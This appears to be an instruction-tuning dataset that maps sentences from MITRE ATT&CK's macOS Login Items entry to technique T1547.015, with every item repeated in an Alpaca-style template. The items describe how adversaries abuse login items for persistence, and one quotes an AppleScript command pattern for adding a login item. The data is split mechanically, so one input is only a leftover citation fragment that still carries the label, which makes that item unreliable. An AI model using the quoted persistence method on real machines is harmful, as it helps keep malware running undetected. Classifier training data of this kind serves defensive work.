Input: Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013)

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

Input: Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup)

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

Input: Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation:

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: ### Response: T1547.015.


Instruction: List the MITRE techniques contained in the text.

Input: Add List Remove Login Items Apple Script)

Output: T1547.015

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Add List Remove Login Items Apple Script) ### Response: T1547.015.